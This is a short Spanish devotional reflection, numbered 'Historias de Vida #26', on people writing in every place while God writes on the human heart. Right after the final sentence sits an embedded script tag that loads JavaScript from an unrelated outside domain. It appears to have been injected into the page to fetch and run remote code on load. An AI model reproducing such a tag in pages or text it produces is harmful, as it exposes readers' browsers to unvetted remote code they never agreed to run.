En su afán de comunicar y exaltarse a sí mismos los hombres escriben en cualquier parte: en las paredes de una caverna, en lo alto de la roca, en placas y medallones en la luna, en carteles sumergidos en parques nacionales y hasta en los cementerios, pero el lugar más insólito está reservado para Dios. Él escribe en las páginas del corazón humano.<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>
Historias de Vida
#26